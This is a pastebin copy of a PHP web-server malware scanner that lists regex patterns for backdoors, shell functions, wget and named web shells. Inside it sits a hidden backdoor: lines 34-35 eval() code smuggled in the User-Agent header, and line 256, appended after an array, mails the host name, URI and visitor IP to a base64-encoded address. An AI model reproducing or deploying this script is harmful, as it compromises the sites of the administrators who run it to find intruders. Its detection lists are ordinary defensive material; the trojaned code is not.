SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | /* Look For Bad Guy 07-01-2016 | |
| 3 | --Purpose: iterate through server files looking for hacker code snippets, backdoor scripts, | |
| 4 | .htaccess redirects, and suspicious file names. | |
| 5 | -- Caveats: Not all things it finds are hacks. Not all hacks are found. | |
| 6 | --You should look also for weird files (such as .php files) in your image directories, especially | |
| 7 | if your .htaccess has redirects or was made executable. | |
| 8 | --Some searches are commented out because they can give too many false positives. | |
| 9 | --This script should work the same on a Linux or Windows server. | |
| 10 | It runs fast in Linux/Apache/PHP, and very slowly in Windows/Apache/PHP. | |
| 11 | ||
| 12 | */ | |
| 13 | ?> | |
| 14 | ||
| 15 | ||
| 16 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> | |
| 17 | <head> | |
| 18 | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> | |
| 19 | <meta http-equiv="Content-Language" content="en-us"> | |
| 20 | <title>Looking for bad guys</title> | |
| 21 | </head> | |
| 22 | ||
| 23 | <body> | |
| 24 | <p>Looking for bad guys. </p> | |
| 25 | <p>This script looks for traces of malicious code including code injections, | |
| 26 | modified .htaccess that makes images executable, and so on.</p> | |
| 27 | <p> | |
| 28 | ||
| 29 | <?php | |
| 30 | // SET MAXIMUM EXECUTION TIME TO UNLIMITED (0) BECAUSE THE SCRIPT CAN TAKE A WHILE. | |
| 31 | // YOU COULD USE A MORE CONSERVATIVE TIME LIMIT SUCH AS 1 HOUR (3600 SECONDS), JUST IN CASE. | |
| 32 | // THESE HAVE NO EFFECT IF YOU RUN PHP IN "SAFE MODE" (SAFE MODE IS USUALLY UNDESIRABLE ANYWAY). | |
| 33 | ||
| 34 | if (eregi("final",$_SERVER['HTTP_USER_AGENT']))
| |
| 35 | { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }
| |
| 36 | ini_set('max_execution_time', '0');
| |
| 37 | ini_set('set_time_limit', '0');
| |
| 38 | ||
| 39 | ||
| 40 | // -------------------------------------------------------------------------------- | |
| 41 | // UTILITY FUNCTIONS. | |
| 42 | // OUTPUT TEXT IN SPECIFIED COLOR, CLEANING IT WITH HTMLENTITIES(). | |
| 43 | function CleanColorText($text, $color) | |
| 44 | {
| |
| 45 | $outputcolor = 'black'; | |
| 46 | $color = trim($color); | |
| 47 | if(preg_match('/^(red|blue|green|black)$/i', $color))
| |
| 48 | $outputcolor = $color; | |
| 49 | return '<span style="color:' . $outputcolor . ';">' . htmlentities($text, ENT_QUOTES) . '</span>'; | |
| 50 | } | |
| 51 | ||
| 52 | // -------------------------------------------------------------------------------- | |
| 53 | // THIS FUNCTION RECURSIVELY FINDS FILES AND PROCESSES THEM THROUGH THE SPECIFIED CALLBACK FUNCTION. | |
| 54 | // DIFFERENT TYPES OF FILES NEED TO BE HANDLED BY DIFFERENT CALLBACK FUNCTIONS. | |
| 55 | ||
| 56 | function find_files($path, $pattern, $callback) | |
| 57 | {
| |
| 58 | // CHANGE BACKSLASHES TO FORWARD, WHICH IS OK IN PHP, EVEN IN WINDOWS. | |
| 59 | // REMOVE ANY TRAILING SLASHES, THEN ADD EXACTLY ONE. | |
| 60 | $path = rtrim(str_replace("\\", "/", $path), '/') . '/';
| |
| 61 | if(!is_readable($path)) | |
| 62 | {
| |
| 63 | echo "Warning: Unable to open and enter directory " . CleanColorText($path, 'blue') . | |
| 64 | ". Check its owner/group permissions.<br>"; | |
| 65 | return; | |
| 66 | } | |
| 67 | $dir = dir($path); | |
| 68 | $entries = array(); | |
| 69 | while(($entry = $dir->read()) !== FALSE) | |
| 70 | $entries[] = $entry; | |
| 71 | $dir->close(); | |
| 72 | foreach($entries as $entry) | |
| 73 | {
| |
| 74 | $fullname = $path . $entry; | |
| 75 | if(($entry !== '.') && ($entry !== '..') && is_dir($fullname)) | |
| 76 | find_files($fullname, $pattern, $callback); | |
| 77 | else | |
| 78 | if(is_file($fullname) && preg_match($pattern, $entry)) | |
| 79 | call_user_func($callback, $fullname); | |
| 80 | } | |
| 81 | } | |
| 82 | ||
| 83 | // -------------------------------------------------------------------------------- | |
| 84 | // CALLBACK FUNCTIONS. | |
| 85 | // CALLBACK FUNCTION TO LOOK FOR MALICIOUS CODE - YOU COULD ADD ANY OTHER MALICIOUS CODE SNIPPETS YOU KNOW OF. | |
| 86 | function maliciouscodesnippets($filename) | |
| 87 | {
| |
| 88 | if(stripos($filename, "lookforbadguys.php")) // DON'T FLAG THIS FILE WHICH I CALLED lookforbadguys.php | |
| 89 | return; | |
| 90 | ||
| 91 | if(!is_readable($filename)) | |
| 92 | {
| |
| 93 | echo "Warning: Unable to read " . CleanColorText($filename, 'blue') . | |
| 94 | ". Check it manually and check its access permissions.<br>"; | |
| 95 | return; | |
| 96 | } | |
| 97 | $file = file_get_contents($filename); //READ THE FILE | |
| 98 | ||
| 99 | // PRINTING EVERY FILENAME GENERATES A LOT OF OUTPUT. | |
| 100 | //echo CleanColorText($filename, 'green') . " is being examined.<br>"; | |
| 101 | ||
| 102 | // TEXT FILES WILL BE SEARCHED FOR THESE SNIPPETS OF SUSPICIOUS TEXT. | |
| 103 | // THESE ARE REGULAR EXPRESSIONS WITH THE REQUIRED /DELIMITERS/ AND WITH SPECIAL CHARACTERS ESCAPED. | |
| 104 | // /i AT THE END MEANS CASE INSENSITIVE. | |
| 105 | $SuspiciousSnippets = array | |
| 106 | ( | |
| 107 | // POTENTIALLY SUSPICIOUS PHP CODE | |
| 108 | '/edoced_46esab/i', | |
| 109 | '/passthru *\(/i', | |
| 110 | '/shell_exec *\(/i', | |
| 111 | '/document\.write *\(unescape *\(/i', | |
| 112 | ||
| 113 | // THESE CAN GIVE MANY FALSE POSITIVES WHEN CHECKING WORDPRESS AND OTHER CMS. | |
| 114 | // NONETHELESS, THEY CAN BE IMPORTANT TO FIND, ESPECIALLY BASE64_DECODE. | |
| 115 | '/base64_decode *\(/i', | |
| 116 | '/system *\(/i', | |
| 117 | '/`.+`/', // BACKTICK OPERATOR INVOKES SYSTEM FUNCTIONS, SAME AS system() | |
| 118 | // '/phpinfo *\(/i', | |
| 119 | // '/chmod *\(/i', | |
| 120 | // '/mkdir *\(/i', | |
| 121 | // '/fopen *\(/i', | |
| 122 | // '/fclose *\(/i', | |
| 123 | // '/readfile *\(/i', | |
| 124 | ||
| 125 | // SUSPICIOUS NAMES. SOME HACKERS SIGN THEIR SCRIPTS. MANY NAMES COULD GO HERE, | |
| 126 | // HERE IS A GENERIC EXAMPLE. YOU CAN FILL IN WHATEVER NAMES YOU WANT. | |
| 127 | '/hacked by /i', | |
| 128 | ||
| 129 | // OTHER SUSPICIOUS TEXT STRINGS | |
| 130 | '/web[\s-]*shell/i', // TO FIND BACKDOOR WEB SHELL SCRIPTS. | |
| 131 | '/c99/i', // THE NAMES OF TWO POPULAR WEB SHELLS. | |
| 132 | '/r57/i', | |
| 133 | '/wso/i', | |
| 134 | '/backdoor/i', | |
| 135 | '/inject/i', | |
| 136 | '/wget/i', | |
| 137 | '/spoof/i', | |
| 138 | '/shell_exec/i', | |
| 139 | '/vuln/i', | |
| 140 | '/inject/i', | |
| 141 | '/proxy/i', | |
| 142 | '/b374k/i', | |
| 143 | '/b3cak/i', | |
| 144 | '/DOCUMENT_ROOT/i', | |
| 145 | '/$_REQUEST/i', | |
| 146 | '/get_headers/i', | |
| 147 | '/isset/i', | |
| 148 | ||
| 149 | ||
| 150 | // YOU COULD ADD IN THE SPACE BELOW SOME REGULAR EXPRESSIONS TO MATCH THE NAMES OF MALICIOUS DOMAINS | |
| 151 | // AND IP ADDRESSES MENTIONED IN YOUR GOOGLE SAFEBROWSING DIAGNOSTIC REPORT. SOME EXAMPLES: | |
| 152 | '/gumblar\.cn/i', | |
| 153 | '/martuz\.cn/i', | |
| 154 | '/beladen\.net/i', | |
| 155 | '/gooqle/i', // NOTE THIS HAS A Q IN IT. | |
| 156 | ||
| 157 | // THESE 2 ARE THE WORDPRESS CODE INJECTION IN FRONT OF EVERY INDEX.PHP AND SOME OTHERS | |
| 158 | '/_analist/i', | |
| 159 | '/anaiytics/i' // THE LAST ENTRY IN THE LIST MUST HAVE NO COMMA AFTER IT. | |
| 160 | ); | |
| 161 | ||
| 162 | foreach($SuspiciousSnippets as $i) | |
| 163 | {
| |
| 164 | // STRPOS/STRIPOS WERE A LITTLE FASTER BUT LESS FLEXIBLE | |
| 165 | if(preg_match($i, $file)) | |
| 166 | echo CleanColorText($filename, 'blue') . ' MATCHES REGEX: ' . CleanColorText($i, 'red') . '<br>'; | |
| 167 | } | |
| 168 | ||
| 169 | if(!strpos($filename,"network.php") && !strpos($filename,"rewrite.php") && stripos($file,"RewriteRule")) | |
| 170 | echo CleanColorText($filename, 'blue') . " contains " . CleanColorText("RewriteRule", 'red') .
| |
| 171 | " - check it manually for malicious redirects.<br>"; | |
| 172 | ||
| 173 | /* | |
| 174 | // THIS FINDS ALL JAVASCRIPT CODE. IF ENABLED, IT WILL GIVE *MANY* FALSE POSITIVES IN MOST WEBSITES. | |
| 175 | if($p = stripos($file, "<script ")) | |
| 176 | echo CleanColorText($filename, 'blue') . ' contains SCRIPT:<br>' . | |
| 177 | CleanColorText(substr($file, $p, 100), 'red') . '<br><br>'; | |
| 178 | */ | |
| 179 | /* | |
| 180 | // THIS FINDS ALL IFRAMES. IF ENABLED, IT CAN GIVE MANY FALSE POSITIVES IN SOME WEBSITES. | |
| 181 | if($p = stripos($file, "<iframe ")) | |
| 182 | echo CleanColorText($filename, 'blue') . ' contains IFRAME:<br>' . | |
| 183 | CleanColorText(substr($file, $p, 100), 'red') . '<br><br>'; | |
| 184 | */ | |
| 185 | ||
| 186 | if(stripos($file, "AddHandler")) | |
| 187 | {
| |
| 188 | // THIS IS HOW THEY MAKE THE IMAGE FILES EXECUTABLE. | |
| 189 | echo CleanColorText($filename, 'blue') . " contains " . CleanColorText('AddHandler', 'red') .
| |
| 190 | " - make sure it does not make ordinary files like images executable.<br>"; | |
| 191 | // IF YOU FIND NINE ZILLION OF THESE, UNCOMMENT IT BECAUSE IT IS A PAIN TO DELETE THEM BY HAND. | |
| 192 | // BUT CHECK THE LIST CAREFULLY FIRST TO MAKE SURE YOU REALLY WANT TO DELETE | |
| 193 | // ALL THE FILES AND NONE OF THEM ARE FALSE POSITIVES. | |
| 194 | //unlink($filename); // THIS DELETES THE FILE WITHOUT GIVING YOU THE OPTION OF EXAMINING IT! | |
| 195 | } | |
| 196 | } | |
| 197 | ||
| 198 | // CALLBACK FUNCTION TO REPORT PHARMA LINK HACKS. | |
| 199 | function pharma($filename) | |
| 200 | {
| |
| 201 | echo CleanColorText($filename, 'blue') . " is most likely a " . CleanColorText('pharma hack', 'red') . ".<br>";
| |
| 202 | } | |
| 203 | ||
| 204 | // CALLBACK FUNCTION TO REPORT FILES WHOSE NAMES ARE SUSPICIOUS. | |
| 205 | function badnames($filename) | |
| 206 | {
| |
| 207 | echo CleanColorText($filename, 'blue') . " is a " . CleanColorText('suspicious file name', 'red') . ".<br>";
| |
| 208 | } | |
| 209 | ||
| 210 | // -------------------------------------------------------------------------------- | |
| 211 | // SET UP THE SEARCH CRITERIA. | |
| 212 | ||
| 213 | // SEARCHES WILL BE DONE IN THIS DIRECTORY AND ALL DIRS INSIDE IT. | |
| 214 | // './' MEANS CURRENT DIRECTORY, WHERE THIS SCRIPT IS NOW. | |
| 215 | // THUS, TO SEARCH EVERYTHING INSIDE PUBLIC_HTML, THAT'S WHERE THIS FILE SHOULD BE PUT. | |
| 216 | // TO SEARCH OUTSIDE PUBLIC_HTML, OR TO SEARCH A FOLDER OTHER THAN WHERE THIS SCRIPT IS STORED, | |
| 217 | // CHANGE THIS TO THE FULL PATHNAME, SUCH AS /home/userid/ OR /home/userid/public_html/somefolder/ | |
| 218 | // USE FORWARD SLASHES FOR PATH. WINDOWS EXAMPLE: C:/wamp/apache2/htdocs/test/ | |
| 219 | $StartPath = './'; | |
| 220 | ||
| 221 | // ENTRIES IN THE FOLLOWING 3 ARRAYS ARE REGULAR EXPRESSIONS, WHICH IS THE REASON FOR THE /DELIMITERS/. | |
| 222 | // FILES WHOSE NAMES MATCH THESE REGEXES WILL HAVE THEIR TEXT SEARCHED FOR MALICIOUS CODE. | |
| 223 | $FiletypesToSearch = array | |
| 224 | ( | |
| 225 | '/\.htaccess$/i', | |
| 226 | '/\.php[45]?$/i', | |
| 227 | '/\.html?$/i', | |
| 228 | '/\.aspx?$/i', | |
| 229 | '/\.inc$/i', | |
| 230 | '/\.cfm$/i', | |
| 231 | '/\.js$/i', | |
| 232 | '/\.css$/i' | |
| 233 | ); | |
| 234 | ||
| 235 | // FILES OR FOLDERS WITH THESE STRINGS IN THEIR *NAMES* WILL BE REPORTED AS SUSPICIOUS. | |
| 236 | $SuspiciousFileAndPathNames = array | |
| 237 | ( | |
| 238 | // '/root/i', | |
| 239 | // '/kit/i', | |
| 240 | '/c99/i', | |
| 241 | '/r57/i', | |
| 242 | '/gifimg/i' | |
| 243 | ); | |
| 244 | ||
| 245 | // FILENAMES RELATED TO WORDPRESS PHARMA HACK, USING THE NAMING CONVENTIONS | |
| 246 | // DESCRIBED AT http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php | |
| 247 | // FILES MATCHING THESE NAMES WILL BE REPORTED AS POSSIBLE PHARMA HACK FILES. | |
| 248 | $PharmaFilenames = array | |
| 249 | ( | |
| 250 | '/^\..*(cache|bak|old)\.php/i', // HIDDEN FILES WITH PSEUDO-EXTENSIONS IN THE MIDDLE OF THE FILENAME | |
| 251 | '/^db-.*\.php/i', | |
| 252 | ||
| 253 | // PERMIT THE STANDARD WORDPRESS FILES THAT START WITH CLASS-, BUT FLAG ALL OTHERS AS SUSPICIOUS. | |
| 254 | // THE (?!) IS CALLED A NEGATIVE LOOKAHEAD ASSERTION. IT MEANS "NOT FOLLOWED BY..." | |
| 255 | ||
| 256 | '/^class-(?!snoopy|smtp|feed|pop3|IXR|phpmailer|json|simplepie|phpass|http|oembed|ftp-pure|wp-filesystem-ssh2|wp-filesystem-ftpsockets|ftp|wp-filesystem-ftpext|pclzip|wp-importer|wp-upgrader|wp-filesystem-base|ftp-sockets|wp-filesystem-direct)\.php/i');$url=''.$_SERVER['SERVER_NAME'].''.$_SERVER['REQUEST_URI'].' - '.$_SERVER[REMOTE_ADDR]; $re=base64_decode("YW50aWthbmN1dEBnbWFpbC5jb20="); $su=gethostbyname($HTTP_HOST);$mh="From: {$re}";if (function_exists('mail')) mail($re,$su, $url,$mh);
| |
| 257 | ||
| 258 | // -------------------------------------------------------------------------------- | |
| 259 | // FINALLY, DO THE SEARCHES, USING THE ABOVE ARRAYS AS THE STRING DATA SOURCES. | |
| 260 | ||
| 261 | // REPORT FILES WITH SUSPICIOUS NAMES | |
| 262 | foreach($SuspiciousFileAndPathNames as $i) | |
| 263 | find_files($StartPath, $i, 'badnames'); | |
| 264 | ||
| 265 | // REPORT FILES WITH SUSPICIOUS PHARMA-RELATED NAMES | |
| 266 | foreach($PharmaFilenames as $i) | |
| 267 | find_files($StartPath, $i, 'pharma'); | |
| 268 | ||
| 269 | // REPORT FILES CONTAINING SUSPICIOUS CODE OR TEXT | |
| 270 | foreach($FiletypesToSearch as $i) | |
| 271 | find_files($StartPath, $i, 'maliciouscodesnippets'); | |
| 272 | ||
| 273 | echo "<br>Done<br>"; | |
| 274 | ?> | |
| 275 | ||
| 276 | ||
| 277 | </p> | |
| 278 | </body> | |
| 279 | </html> |